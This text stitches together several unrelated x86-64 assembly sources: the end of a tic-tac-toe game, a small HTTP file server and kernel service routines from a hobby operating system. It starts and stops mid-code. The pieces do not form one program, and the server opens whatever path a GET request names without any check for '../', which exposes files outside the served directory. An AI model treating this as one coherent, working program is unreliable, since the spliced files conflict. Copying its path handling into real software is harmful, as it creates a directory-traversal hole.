[rbx] - cmp al, "_" - je check_diagonal_loop - - add rsi, rdx - lea rbx, [game_draw + rsi] - - cmp al, [rbx] - jne check_diagonal_loop - - add rsi, rdx - lea rbx, [game_draw + rsi] - - cmp al, [rbx] - jne check_diagonal_loop - - mov byte[win_flag], 1 - ret - -game_over: - call clear_screen - - mov rsi, game_start_message - mov rdx, gsm_size - call print - - mov rsi, new_line - mov rdx, nl_size - call print - - mov rsi, game_draw - mov rdx, gd_size - call print - - mov rsi, new_line - mov rdx, nl_size - call print - - mov rsi, game_over_message - mov rdx, gom_size - call print - - mov rsi, player_message - mov rdx, pm_size - call print - - mov rsi, player - mov rdx, p_size - call print - - mov rsi, win_message - mov rdx, wm_size - call print - - jmp fim - -fim: - mov rax, 60 - mov rdi, 0 - syscall - -; void send_http_200(int contentfd, int sockfd) -; send http 200 response with with content from given file to given socket -send_http_200: - push rdi - push rsi - push r8 - push r9 - -; get file size - mov r8, rdi ; save fd - mov r9, rsi ; save sockfd - - ; fd at rdi - mov rsi, file_stat ; pass *buf - call sys_fstat ; 0 on success - ; error is unlikely - mov rax, [file_stat + stat.st_size] - mov [content_len], rax ; save content length - -; allocate buffer for response - call current_heap_addr - push rax ; save current heap addr - - mov rdi, [content_len] ; pass size - call alloc_response_buffer - - pop rax ; get ptr to beginning of allocated buf - mov [response_buf_ptr], rax ; save response buffer pointer - - ; HACK Adding pad for using this buffer to construct response later - add rax, RESPONSE_HEADER_CAP - mov [content_buf_ptr], rax ; save content buffer pointer - -; read content - mov rdi, r8 ; pass fd - mov rsi, rax ; pass *buf - mov rdx, [content_len] ; pass count - call read_file - -; make response - mov rdi, [response_buf_ptr] ; pass *buf - mov rsi, [content_buf_ptr] ; pass *content - call construct_http_200 ; http 200 response - -; send response - call slen ; calculate length of response - mov rdx, rax ; pass length - mov rsi, [response_buf_ptr] ; pass *message - mov rdi, r9 ; pass socket - call send - -; free buffer - call sys_brk - - pop r9 - pop r8 - pop rsi - pop rdi - - ret - - -send_http_404: - push rsi - push rdx - - ; socket in rdi - mov rsi, http_404 ; pass message - mov rdx, http_404_len ; pass length - call send - - pop rdx - pop rsi - - ret - - -; void construct_http_200(char* buf, char* content) -; construct http 200 response in buf -construct_http_200: - push r8 - push r9 - - mov r8, rdi ; save *buf - mov r9, rsi ; save *content - - mov rsi, http_200 - call strcat ; status - - mov rsi, cont_length - call strcat ; content length label - - mov rdi, r9 ; pass *content - call slen ; calculate length of content - mov rdi, rax ; pass num - mov rsi, content_len_buf ; pass *buf - call itoa ; convert content length to string - mov rdi, r8 - mov rsi, content_len_buf - call strcat ; content length - - mov rdi, r8 - mov rsi, cr_lf - call strcat - call strcat ; cr_lf - - mov rsi, r9 - call strcat ; content - - pop r9 - pop r8 - - ret - - -; bool is_get_request(char* request) -; 1 if request is GET, 0 if not -is_get_request: - mov ax, 0 ; false - - cmp byte[rdi+0], 'G' - jne .exit - cmp byte[rdi+1], 'E' - jne .exit - cmp byte[rdi+2], 'T' - jne .exit - - mov ax, 1 ; true -.exit: - ret - - -; char* alloc_response_buffer(int size) -; allocate buffer for response body + head and get buffer's address -alloc_response_buffer: - push rdi - - add rdi, RESPONSE_HEADER_CAP ; add header size - call mem_alloc ; new heap addr on success - - cmp rax, 0 - jge .exit - mov rdi, err_msg_alloc - jmp error ; exit with error -.exit: - pop rdi - - ret - - -; HACK Places terminating zero at the end of resource path -; char* extract_resource_path(char* request) -; returns pointer to the resource path -extract_resource_path: - push rdi - - add rdi, 5 ; skip "GET /" - mov rax, rdi ; save beginning -.loop: - cmp byte[rdi], ' ' ; check if space - je .place_zero - inc rdi ; next char - jmp .loop ; loop -.place_zero: - mov byte[rdi], 0x00 - - pop rdi - - ret - - - SECTION .bss - - response_buf_ptr resq 1 - content_buf_ptr resq 1 - content_len resq 1 - content_len_buf resb 19 - - - SECTION .rodata - - http_200 db "HTTP/1.1 200 OK",0x0d,0x0a,0x00 - http_200_len equ $ - http_200 - 1 - http_404 db "HTTP/1.1 404 Not Found",0x0d,0x0a,0x00 - http_404_len equ $ - http_404 - 1 - -; constants -%define BACKLOG 8 -%define REQUEST_BUF_CAP 2048 -%define RESPONSE_HEADER_CAP 2048 - -%include "http.asm" -%include "net.asm" -%include "os.asm" -%include "print.asm" -%include "string.asm" -%include "syscall.asm" - - SECTION .text - -global _start -_start: - ; clear registers - xor rax, rax - xor rdi, rdi - xor rsi, rsi - xor rdx, rdx - -handle_arguments: - pop r8 ; pop number of arguments - cmp r8, 3 ; check arguments count is good - je .get_arguments - - mov rdi, help_msg ; print the help and exit otherwise - call println - jmp exit_failure - -.get_arguments: - pop r8 ; discard binary name - - pop rdi ; listening port - call atoi ; convert to integer - xchg ah, al ; change byte order to big endian - mov [list_sock_port], rax ; save listening port - - pop rdi ; serving directory - -.change_directory: - call sys_chdir ; 0 on success - cmp rax, 0 - je .continue - mov rdi, err_msg_dir - jmp error ; exit with error -.continue: - - -create_socket: - mov rdi, AF_INET ; pass domain (0x02) - mov rsi, SOCK_STREAM ; pass type (0x01) - mov rdx, IPPROTO_TCP ; pass protocol (0x06) - call sys_socket ; list_sockfd in rax on success - - ; error info - cmp rax, 0 - jge .continue - mov rdi, err_msg_socket - jmp error ; exit with error -.continue: - -set_sock_opt: - mov [list_sock], rax ; save list_sockfd - mov rdi, rax ; pass socket - mov rsi, 0x01 ; pass level (SOL_SOCKET) - mov rdx, 0x02 ; pass option_name (SO_REUSEADDR) - mov r10, sock_addr ; pass option_value - mov r8, sockaddr_in_size ; pass option_len (size of sock_addr) - call sys_setsockopt ; 0 in rax on success - - ; error info - cmp rax, 0 - je .continue - mov rdi, err_msg_socket_opt - jmp error ; exit with error -.continue: - -bind: - mov rsi, [list_sock_port] - mov [sock_addr+sin_port], rsi ; set port - - mov rdi, [list_sock] ; pass list_sockfd - mov rsi, sock_addr ; pass *addr - mov rdx, sockaddr_in_size ; pass addrlen (size of sock_addr) - call sys_bind ; 0 in rax on success - - ; error info - cmp rax, 0 - je .continue - mov rdi, err_msg_bind - jmp error ; exit with error -.continue: - -listen: - mov rdi, [list_sock] ; pass list_sockfd - mov rsi, BACKLOG ; pass backlog (max len of queue of pending conns) - call sys_listen ; 0 in rax on success - - cmp rax, 0 - je .continue - call sys_close ; close socket - mov rdi, err_msg_listen - jmp error ; exit with error -.continue: - -accept: - mov rdi, [list_sock] ; pass list_sockfd - mov rsi, 0x00 ; pass addr (NULL) - mov rdx, 0x00 ; pass addrlen (size of sockaddr) (NULL) - call sys_accept ; accepted socket's fd in rax on success - - cmp rax, 0 - jge .continue - mov rdi, err_msg_accept - jmp error ; exit with error -.continue: - mov r12, rax ; save acc_sockfd - -read_request: - mov rdi, r12 ; pass acc_sockfd - mov rsi, request_buf ; pass *buf - mov rdx, REQUEST_BUF_CAP ; pass count - call sys_read ; bytes read on success - - cmp rax, 0 - jge .continue - mov rdi, err_msg_read_req - jmp error ; exit with error -.continue: - -check_request_is_get: - mov rdi, request_buf ; pass *request - call is_get_request - cmp rax, 0 ; if not GET then don't response - jz listen - -get_file_path: - mov rdi, request_buf ; pass *request - call extract_resource_path - - cmp byte[rax], 0 ; if standard file path (points at term zero) - jnz .continue - mov rax, index_file ; response with index -.continue: - -open_response_file: - mov rdi, rax ; pass *pathname - mov rsi, 0 ; O_RDONLY - call sys_open ; fd on success - - ; error info - cmp rax, 0 - jl response_404 ; response 404 if can't open file - -response_200: - mov rdi, rax ; pass contentfd - mov rsi, r12 ; pass sockfd - call send_http_200 - jmp close_socket - -response_404: - mov rdi, r12 ; pass sockfd - call send_http_404 - -close_socket: - mov rdi, r12 ; pass fd - call sys_close ; close socket - - cmp rax, 0 - je .continue - mov rdi, err_msg_close_sock - jmp error ; exit with error -.continue: - jmp accept ; accept loop - - -error: - call eprintln - jmp exit_failure - - -; exit program and restore resources -exit_success: - mov rdi, 0x00 ; EXIT_SUCCESS - call sys_exit - - -; exit program with error -exit_failure: - mov rdi, 0x01 ; EXIT_FAILURE - call sys_exit - - - SECTION .bss - - list_sock resq 1 - list_sock_port resw 1 - request_buf resb REQUEST_BUF_CAP - request_buf_len resq 1 - file_stat resb 64 - - - SECTION .data - - sock_addr: istruc sockaddr_in - at sin_family, dw AF_INET - at sin_port, dw 0 - at sin_addr, dd INADDR_ANY - at sin_zero, dd 0x0000000000000000 - iend - - - SECTION .rodata - - help_msg db "asmerver 1.0",0x0a,"nuid64 ",0x0a,"Usage: ",0x0a,0x09,"asmerver ",0x00 - - err_msg_alloc db "Memory allocating completed with error",0x00 - err_msg_dir db "Can't open served directory",0x00 - err_msg_read db "An error occured during reading a file",0x00 - err_msg_read_req db "An error occured during reading a request",0x00 - err_msg_socket db "Failed to create socket",0x00 - err_msg_socket_opt db "Failed to set socket options",0x00 - err_msg_bind db "Can't bind address",0x00 - err_msg_listen db "Socket don't want to listen",0x00 - err_msg_accept db "Connection not accepted",0x00 - err_msg_send db "An error occured during sending response",0x00 - err_msg_close_sock db "Failed to close socket",0x0 - - index_file db "index.html",0x00 - - cont_length db "Content-Length: ",0x00 - cont_length_len equ $ - cont_length - 1 - - cr_lf db 0x0d,0x0a,0x00 - - SECTION .text - -; void strcat(char* dest, char* src) -; concatenates src to dest -strcat: - push rdi - push rsi - push rax - -.find_end: - mov al, byte [rdi] ; load char - inc rdi ; increase ptr - cmp al, 0x00 ; until it reached terminating zero - jne .find_end - - dec rdi ; place ptr back to terminating zero - cld ; clear decimal for lodsb -.place_char: - lodsb ; load char - mov [rdi], al ; place char - inc rdi ; increase ptr - cmp al, 0x00 ; until it reached terminating zero - jne .place_char - - pop rax - pop rsi - pop rdi - ret - - -; int slen(char* str) -; calculates length of string -slen: - push rdi - push rsi - push rcx - - cld ; clear decimal for lodsb - mov rcx, -1 ; take termintating zero into account - mov rsi, rdi ; move ptr to rsi for lodsb -.nextchar: - inc rcx ; increase counter - lodsb ; load char - cmp al, 0x00 ; until it reached terminating zero - jne .nextchar - - mov rax, rcx ; return value - pop rcx - pop rsi - pop rdi - ret - - -; void itoa(int num, char* buf) -; int to char* conversion -itoa: - push rdi - push rsi - push rdx - push rax - push rbx - -.start_converting: - call calc_digits_count ; get number of digits - mov rcx, rax - - mov al, 0x00 - mov [rsi+rcx], al ; place terminating zero at the end - dec rcx ; move pointer left - - mov rax, rdi ; place number for dividing - mov rbx, 10 -.loop: - xor rdx, rdx ; avoiding error - div rbx ; get remainder of dividing by ten - - add rdx, 0x30 ; converting to ASCII digit's symbol - mov [rsi+rcx], dl ; place char - dec rcx ; move pointer left - cmp rax, 9 - ja .loop ; until rax is zero -.last_digit: - add rax, 0x30 ; last digit - mov [rsi+rcx], al - - pop rbx - pop rax - pop rdx - pop rsi - pop rdi - ret - - -; int atoi(char* buf) -; char* to int conversion -atoi: - push rsi - xor rax, rax - -.loop: - movzx rsi, byte [rdi] - test rsi, rsi ; check for \0 - je .done - - cmp rsi, 48 ; check symbol is digit - jl .error - cmp rsi, 57 - jg .error - - sub rsi, 48 ; convert to decimal - imul rax, 10 - add rax, rsi - - inc rdi - jmp .loop - -.error: - mov rax, -1 ; -1 on error - -.done: - pop rsi - - ret - - -; int calc_digits_count(int num) -; calculates count of digits in number -calc_digits_count: - push rdi - push rdx - push rbx - push rcx - - mov rax, rdi ; move number - mov rbx, 10 - xor rcx, rcx ; zeroing counter -.loop: - inc rcx - cmp rax, 10 - jb .exit - xor rdx, rdx ; avoiding error - div rbx ; dividing by base until ratio is zero - jmp .loop -.exit: - mov rax, rcx ; move result in rax - - pop rcx - pop rbx - pop rdx - pop rdi - ret - -;=============================================================================== -;Copyright (C) Andrzej Adamczyk (at https://blackdev.org/). All rights reserved. -;=============================================================================== - -; information for linker -section .rodata - -; align routine -align 0x08, db 0x00 -kernel_service_list: - dq kernel_service_exit - dq kernel_service_framebuffer - dq kernel_service_memory_alloc - dq kernel_service_memory_release - dq kernel_service_task_pid - dq kernel_service_driver_mouse - dq kernel_service_storage_read - dq kernel_service_exec - dq kernel_service_ipc_send - dq kernel_service_ipc_receive - dq kernel_service_memory_share - dq driver_ps2_keyboard_key_read - dq kernel_service_task_status - dq kernel_stream_out - dq kernel_stream_in - dq kernel_service_serial_char - dq kernel_service_serial_string - dq kernel_service_serial_value - dq driver_rtc_time - dq kernel_stream_set - dq kernel_stream_get - dq kernel_service_sleep - dq kernel_service_uptime - dq kernel_stream_out_value - dq kernel_service_task - dq kernel_service_memory - dq kernel_service_thread -kernel_service_list_end: - -; information for linker -section .text - -;------------------------------------------------------------------------------- -; in: -; rdi - pointer to Memory descriptor -kernel_service_memory: - ; preserve original registers - push rax - push r8 - - ; kernel environment variables/rountines base addrrax - mov r8, qword [kernel_environment_base_address] - - ; return information about - - ; all available pages - mov rax, qword [r8 + KERNEL_STRUCTURE.page_total] - mov qword [rdi + LIB_SYS_STRUCTURE_MEMORY.total], rax - - ; and currently free - mov rax, qword [r8 + KERNEL_STRUCTURE.page_available] - mov qword [rdi + LIB_SYS_STRUCTURE_MEMORY.available], rax - - ; restore original registers - pop r8 - pop rax - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; void -kernel_service_exit: - ; retrieve pointer to current task descriptor - call kernel_task_active - - ; mark task as closed and not active - or word [r9 + KERNEL_TASK_STRUCTURE.flags], KERNEL_TASK_FLAG_closed - and word [r9 + KERNEL_TASK_STRUCTURE.flags], ~KERNEL_TASK_FLAG_active - - ; release rest of AP time - int 0x20 - -;------------------------------------------------------------------------------- -; in: -; rdi - sleep amount in microtime -kernel_service_sleep: - ; preserve original registers - push rdi - push r8 - push r9 - - ; kernel environment variables/rountines base address - mov r8, qword [kernel_environment_base_address] - - ; retrieve pointer to current task descriptor - call kernel_task_active - - ; current uptime - add rdi, qword [r8 + KERNEL_STRUCTURE.hpet_microtime] - - ; go to sleep for N ticks - mov qword [r9 + KERNEL_TASK_STRUCTURE.sleep], rdi - - ; release the remaining CPU time - int 0x20 - - ; restore original registers - pop r9 - pop r8 - pop rdi - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; out: -; rax - current uptime in microtime -kernel_service_uptime: - ; return current microtime index - mov rax, qword [kernel_environment_base_address] - mov rax, qword [rax + KERNEL_STRUCTURE.hpet_microtime] - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; in: -; rdi - pointer to mouse descriptor -kernel_service_driver_mouse: - ; preserve original registers - push rax - push r8 - - ; kernel environment variables/rountines base address - mov r8, qword [kernel_environment_base_address] - - ; share information about mouse location and status - mov ax, word [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_x] - mov word [rdi + LIB_SYS_STRUCTURE_MOUSE.x], ax - mov ax, word [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_y] - mov word [rdi + LIB_SYS_STRUCTURE_MOUSE.y], ax - mov al, byte [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_status] - mov byte [rdi + LIB_SYS_STRUCTURE_MOUSE.status], al - - ; restore original registers - pop r8 - pop rax - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; in: -; rdx - stream flags -; rsi - length of file name/path -; rdi - pointer to file name/path -; out: -; rax - process ID -kernel_service_exec: - ; preserve original registers - push rcx - push rsi - push rdi - push rbp - push r8 - - ; kernel environment variables/rountines base address - mov r8, qword [kernel_environment_base_address] - - ; reorganize registers - mov rcx, rsi ; length of string - mov rsi, rdx ; pointer to string - xchg rsi, rdi ; stream flags - - ; execute file from path - call kernel_exec - - ; restore original registers - pop r8 - pop rbp - pop rdi - pop rsi - pop rcx - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; in: -; rdi - pointer to framebuffer descriptor -kernel_service_framebuffer: - ; preserve original registers - push rax - push rcx - push rdx - push rsi - push r8 - push r9 - push r11 - - ; kernel environment variables/rountines base address - mov r8, qword [kernel_environment_base_address] - - ; return properties of framebuffer - - ; width in pixels - mov ax, word [r8 + KERNEL_STRUCTURE.framebuffer_width_pixel] - mov word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.width_pixel], ax - - ; height in pixels - mov ax, word [r8 + KERNEL_STRUCTURE.framebuffer_height_pixel] - mov word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.height_pixel], ax - - ; scanline in Bytes - mov eax, dword [r8 + KERNEL_STRUCTURE.framebuffer_scanline_byte] - mov dword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.scanline_byte], eax - - ; framebuffer manager - mov rax, qword [r8 + KERNEL_STRUCTURE.framebuffer_pid] - - ; framebuffer manager exist? - test rax, rax - jnz .return ; yes - - ; retrieve pointer to current task descriptor - call kernel_task_active - - ; calculate size of framebuffer space - mov eax, dword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.scanline_byte] - movzx ecx, word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.height_pixel] - mul rcx - - ; convert to pages - add rax, ~STATIC_PAGE_mask - shr rax, STATIC_PAGE_SIZE_shift - - ; share framebuffer memory space with process - xor ecx, ecx ; no framebuffer manager, if error on below function - xchg rcx, rax ; length of shared space in pages - mov rsi, qword [r8 + KERNEL_STRUCTURE.framebuffer_base_address] - mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] - call kernel_memory_share - jc .return ; no enough memory? - - ; return pointer to shared memory of framebuffer - mov qword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.base_address], rax - - ; new framebuffer manager - mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.pid] - mov qword [r8 + KERNEL_STRUCTURE.framebuffer_pid], rax - -.return: - ; inform about framebuffer manager - mov qword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.pid], rax - - ; restore original registers - pop r11 - pop r9 - pop r8 - pop rsi - pop rdx - pop rcx - pop rax - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; in: -; rdi - ID of target process -; rsi - pointer to message data -kernel_service_ipc_send: - ; preserve original registers - push rax - push rcx - push rsi - push rdi - push r8 - - ; kernel environment variables/rountines base address - mov r8, qword [kernel_environment_base_address] - -.lock: - ; request an exclusive access - mov cl, LOCK - lock xchg byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], cl - - ; assigned? - test cl, cl - jnz .lock ; no - -.restart: - ; amount of entries - mov rcx, KERNEL_IPC_limit - - ; set pointer to first message - mov rdx, qword [r8 + KERNEL_STRUCTURE.ipc_base_address] - -.loop: - ; free entry? - mov rax, qword [r8 + KERNEL_STRUCTURE.hpet_microtime] - cmp qword [rdx + LIB_SYS_STRUCTURE_IPC.ttl], rax - jbe .found ; yes - - ; next entry from list - add rdx, LIB_SYS_STRUCTURE_IPC.SIZE - - ; end of message list? - dec rcx - jz .restart ; yes - - ; no - jmp .loop - -.found: - ; set message time out - add rax, KERNEL_IPC_timeout - mov qword [rdx + LIB_SYS_STRUCTURE_IPC.ttl], rax - - ; set message source - call kernel_task_pid - mov qword [rdx + LIB_SYS_STRUCTURE_IPC.source], rax - - ; set message target - mov qword [rdx + LIB_SYS_STRUCTURE_IPC.target], rdi - - ; load data into message - mov ecx, LIB_SYS_IPC_DATA_size_byte - mov rdi, rdx - add rdi, LIB_SYS_STRUCTURE_IPC.data - rep movsb - -.end: - ; release access - mov byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], UNLOCK - - ; restore original registers - pop r8 - pop rdi - pop rsi - pop rcx - pop rax - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; in: -; rdi - pointer to message descriptor -; sil - message type -; out: -; TRUE if message retrieved -kernel_service_ipc_receive: - ; preserve original registers - push rbx - push rcx - push rdi - push r8 - push rsi - - ; kernel environment variables/rountines base address - mov r8, qword [kernel_environment_base_address] - -.lock: - ; request an exclusive access - mov cl, LOCK - lock xchg byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], cl - - ; assigned? - test cl, cl - jnz .lock ; no - - ; retrieve ID of current process - call kernel_task_pid - - ; amount of entries - mov rcx, KERNEL_IPC_limit - - ; set pointer to first message - mov rsi, qword [r8 + KERNEL_STRUCTURE.ipc_base_address] - -.loop: - ; message alive? - mov rbx, qword [r8 + KERNEL_STRUCTURE.hpet_microtime] - cmp qword [rsi + LIB_SYS_STRUCTURE_IPC.ttl], rbx - ja .check ; yes - -.next: - ; next entry from list? - add rsi, LIB_SYS_STRUCTURE_IPC.SIZE - dec rcx - jnz .loop ; yes - - ; no message for us - xor eax, eax - - ; no - jmp .end - -.check: - ; message type selected? - cmp byte [rsp], LIB_SYS_IPC_TYPE_ANY - je .any ; no - - ; requested message type? - mov bl, byte [rsp] - cmp bl, byte [rsi + LIB_SYS_STRUCTURE_IPC.data + LIB_SYS_STRUCTURE_IPC_DEFAULT.type] - jne .next ; no - -.any: - ; message for us? - cmp qword [rsi + LIB_SYS_STRUCTURE_IPC.target], rax - jne .next ; no - - ; preserve original register - push rsi - - ; load message to process descriptor - mov ecx, LIB_SYS_STRUCTURE_IPC.SIZE - rep movsb - - ; restore original register - pop rsi - - ; release entry - mov qword [rsi + LIB_SYS_STRUCTURE_IPC.ttl], EMPTY - - ; message transferred - mov eax, TRUE - -.end: - ; release access - mov byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], UNLOCK - - ; restore original registers - pop rsi - pop r8 - pop rdi - pop rcx - pop rbx - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; in: -; rdi - length of space in Bytes -; out: -; rax - pointer to allocated space -; or EMPTY if no enough memory -kernel_service_memory_alloc: - ; preserve original registers - push rbx - push rcx - push rsi - push rdi - push r8 - push r9 - push r11 - - ; convert size to pages (align up to page boundaries) - add rdi, ~STATIC_PAGE_mask - shr rdi, STATIC_PAGE_SIZE_shift - - ; retrieve pointer to current task descriptor - call kernel_task_active - - ; set pointer of process paging array - mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] - - ; aquire memory space from process memory map - mov r9, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map] - mov rcx, rdi ; number of pages - call kernel_memory_acquire - jc .error ; no enough memory - - ; convert first page number to logical address - shl rdi, STATIC_PAGE_SIZE_shift - - ; assign pages to allocated memory in process space - mov rax, rdi - mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_user | KERNEL_PAGE_FLAG_process - call kernel_page_alloc - jnc .allocated ; space allocated - - ; take back modifications - mov rsi, rcx - call kernel_service_memory_release - -.error: - ; no enough memory - xor eax, eax - - ; end - jmp .end - -.allocated: - ; retrieve pointer to current task descriptor - call kernel_task_active - - ; process memory usage - add qword [r9 + KERNEL_TASK_STRUCTURE.page], rcx - -.end: - ; restore original registers - pop r11 - pop r9 - pop r8 - pop rdi - pop rsi - pop rcx - pop rbx - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; in: -; rdi - pointer to allocated space -; rsi - length of space in Bytes -kernel_service_memory_release: - ; preserve original registers - push rax - push rcx - push rsi - push rdi - push r9 - push r11 - - ; retrieve pointer to current task descriptor - call kernel_task_active - - ; convert bytes to pages - add rsi, ~STATIC_PAGE_mask - shr rsi, STATIC_PAGE_SIZE_shift - - ; pointer and counter at place - mov rcx, rsi - mov rsi, rdi - -.loop: - ; delete first physical page from logical address - mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] - call kernel_page_remove - - ; page removed? - test rax, rax - jnz .release ; yes - - ; convert to page number - shr rsi, STATIC_PAGE_SIZE_shift - - ; continue - jmp .next - -.release: - ; release page inside kernels binary memory map - mov rdi, rax - or rdi, qword [kernel_page_mirror] - call kernel_memory_release_page - - ; release page inside process binary memory map - shr rsi, STATIC_PAGE_SIZE_shift - mov rdi, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map] - bts qword [rdi], rsi - - ; process memory usage - dec qword [r9 + KERNEL_TASK_STRUCTURE.page] - -.next: - ; next page from space - inc rsi - shl rsi, STATIC_PAGE_SIZE_shift - - ; another page? - dec rcx - jnz .loop ; yes - - ; restore original registers - pop r11 - pop r9 - pop rdi - pop rsi - pop rcx - pop rax - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; in: -; rdi - pointer to source memory space -; rsi - length of space in Bytes -; rdx - target process ID -; out: -; rax - pointer to shared memory between processes -kernel_service_memory_share: - ; preserve original registers - push rbx - push rcx - push rsi - push rdi - push r9 - push r11 - - ; convert Bytes to pages - mov rcx, rsi - add rcx, ~STATIC_PAGE_mask - shr rcx, STATIC_PAGE_SIZE_shift - - ; retrieve task paging structure pointer - call kernel_task_by_id - mov r11, qword [rbx + KERNEL_TASK_STRUCTURE.cr3] - - ; set source pointer in place - mov rsi, rdi - - ; acquire memory space from target process - mov r9, qword [rbx + KERNEL_TASK_STRUCTURE.memory_map] - call kernel_memory_acquire - - ; convert page number to offset - shl rdi, STATIC_PAGE_SIZE_shift - - ; connect memory space of parent process with child - mov rax, rdi - mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_user | KERNEL_PAGE_FLAG_process | KERNEL_PAGE_FLAG_shared - call kernel_page_clang - - ; restore original registers - pop r11 - pop r9 - pop rdi - pop rsi - pop rcx - pop rbx - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; out: -; rax - PID of current task -kernel_service_task_pid: - ; preserve original registers - push r9 - - ; retrieve pointer to current task descriptor - call kernel_task_active - - ; set pointer of process paging array - mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.pid] - - ; restore original registers - pop r9 - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; in: -; rdi - process ID -; out: -; ax - task status -kernel_service_task_status: - ; preserve original registers - push rbx - push rdx - - ; retrieve pointer to current task descriptor - mov rdx, rdi - call kernel_task_by_id - - ; by default not found - xor ax, ax - - ; not found? - test rbx, rbx - jz .error ; yep - - ; set pointer of process paging array - mov ax, word [rbx + KERNEL_TASK_STRUCTURE.flags] - -.error: - ; restore original registers - pop rdx - pop rbx - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; in: -; rdi - ASCII character -kernel_service_serial_char: - ; preserve original register - push rax - - ; send character to serial - mov al, dil - call driver_serial_char - - ; restore original register - pop rax - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; in: -; rdi - pointer to string -; rsi - length of string in Bytes -kernel_service_serial_string: - ; preserve original registers - push rcx - push rsi - - ; send string to serial - mov rcx, rsi - mov rsi, rdi - call driver_serial_string - - ; restore original registers - pop rsi - pop rcx - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; in: -; rdi - value -; sil - base -; rdx - prefix length -; cl - TRUE/FALSE signed value? -kernel_service_serial_value: - ; preserve original registers - push rax - push rbx - push rcx - push rdx - - ; send value to serial - mov rax, rdi - movzx ebx, sil - xchg rcx, rdx - call driver_serial_value - - ; restore original registers - pop rdx - pop rcx - pop rbx - pop rax - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; in: -; rdi - pointer to file descriptor -kernel_service_storage_read: - ; preserve original registers - push rax - push rbx - push rcx - push rsi - push rbp - push r8 - push r9 - push r11 - push rdi - - ; kernel environment variables/rountines base address - mov r8, qword [kernel_environment_base_address] - - ; prepare space for file descriptor - sub rsp, KERNEL_STORAGE_STRUCTURE_FILE.SIZE - mov rbp, rsp ; pointer of file descriptor - - ; get file properties - movzx eax, byte [r8 + KERNEL_STRUCTURE.storage_root_id] - movzx ecx, byte [rdi + LIB_SYS_STRUCTURE_STORAGE.length] - lea rsi, [rdi + LIB_SYS_STRUCTURE_STORAGE.name] - call kernel_storage_file - - ; file found? - cmp qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.id], EMPTY - je .end ; no - - ; prepare space for file content - mov rdi, qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.size_byte] - call kernel_service_memory_alloc - - ; no enough memory? - test rax, rax - jz .end ; yes - - ; load file content into prepared space - mov rsi, qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.id] - mov rdi, rax - movzx eax, byte [r8 + KERNEL_STRUCTURE.storage_root_id] - call kernel_storage_read - - ; retrieve current task pointer - call kernel_task_active - - ; restore file descriptor - mov rax, qword [rsp + KERNEL_STORAGE_STRUCTURE_FILE.SIZE] - - ; inform process about file location and size - push qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.size_byte] - pop qword [rax + LIB_SYS_STRUCTURE_STORAGE.size_byte] - mov qword [rax + LIB_SYS_STRUCTURE_STORAGE.address], rdi - -.end: - ; remove file descriptor from stack - add rsp, KERNEL_STORAGE_STRUCTURE_FILE.SIZE - - ; restore original registers - pop rdi - pop r11 - pop r9 - pop r8 - pop rbp - pop rsi - pop rcx - pop rbx - pop rax - - ; return from routine - ret - -;------------------------------------------------------------------------------- -; out: -; rax - pointer to list of first task descriptor -kernel_service_task: - ; preserve original registers - push rbx - push rcx - push rdx - push rsi - push rdi - push r8 - push r10 - - ; kernel environment variables/rountines base address - mov r8, qword [kernel_environment_base_address] - -.lock: - ; request an exclusive access - mov al, LOCK - lock xchg byte [r8 + KERNEL_STRUCTURE.task_queue_semaphore], al - - ; assigned? - test al, al - jnz .lock ; no - - ; length of tasks descriptors in Bytes - mov eax, LIB_SYS_STRUCTURE_TASK.SIZE - mul qword [r8 + KERNEL_STRUCTURE.task_count] - - ; assign place for task descriptor list - mov rdi, rax - add rdi, STATIC_QWORD_SIZE_byte << STATIC_MULTIPLE_BY_2_shift - call kernel_service_memory_alloc - - ; store information about size of this space - add rdi, ~STATIC_PAGE_mask - shr rdi, STATIC_PAGE_SIZE_shift - mov qword [rax], rdi - - ; parse every entry - mov rbx, KERNEL_TASK_limit - mov r10, qword [r8 + KERNEL_STRUCTURE.task_queue_address] - - ; preserve memory space pointer of tasks descriptors - add rax, STATIC_QWORD_SIZE_byte << STATIC_MULTIPLE_BY_2_shift - push rax - -.loop: - ; entry exist? - cmp word [r10 + KERNEL_TASK_STRUCTURE.flags], 